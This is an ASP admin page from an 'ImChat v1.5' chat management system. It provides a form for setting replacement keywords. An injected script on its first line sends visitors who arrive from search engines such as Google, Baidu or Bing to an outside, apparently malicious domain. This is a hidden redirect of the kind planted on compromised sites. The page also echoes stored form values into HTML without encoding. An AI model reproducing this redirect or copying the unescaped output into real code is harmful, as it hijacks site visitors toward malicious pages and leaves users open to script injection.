d:\wwwroot\wuchunhua\liaotianim\system_manage\SetKeys.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../inc/DAL.asp"-->
002: <!--#include file="Check.asp"-->
003: <%
004: if request.form("Method")="SetKeys" then
005:     Dim ConfigRS
006:     Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
007:     ConfigRS.OPEN "select * from [XK_SysConfig]" , DB_CONN , 1 , 3
008:     ConfigRS("ReplaceKeys")=request.form("ReplaceKeys")
009:     ConfigRS("ReplaceToStr")=request.form("ReplaceToStr")
010:     ConfigRS.update()
011:     ConfigRS.close()
012:     RW "<script>alert('修改成功!');location.href='SetKeys.asp';</script>"
013: end if
014: %
>
015: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
016: <html xmlns="http://www.w3.org/1999/xhtml">
017: <head>
018: <title>ImChat v1.5 Manage System</title>
019: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
020: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
021: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
022: </head>
023: <body>
024: <div class="contentcontainer">
025:     <div class="headings alt">
026:         <h2>关键词设置</h2>
027:     </div>
028:     <div class="contentbox">
029:         <form action="#" method="post" >
030:             <label for="System_Name"><strong>关键词列表,每行一个,支持正则表达式:</strong></label>
031:             <textarea id="ReplaceKeys" name="ReplaceKeys" rows="5" cols="100"><%=SysConfig("ReplaceKeys")%></textarea>
032:             <br><br>
033:             <label for="System_Name"><strong>替换字符:</strong></label>
034:             <input type="text" id="ReplaceToStr" name="ReplaceToStr" class="inputbox"  value="<%=SysConfig("ReplaceToStr")%>"/>
035:             <br>
036:             <input type="hidden" value="SetKeys" name="Method"/>
037:             <input type="submit" value="提交" class="btn" />
038:         </form>
039:     </div>
040: </div>
041: </body>
042: </html>
043:
044:
045: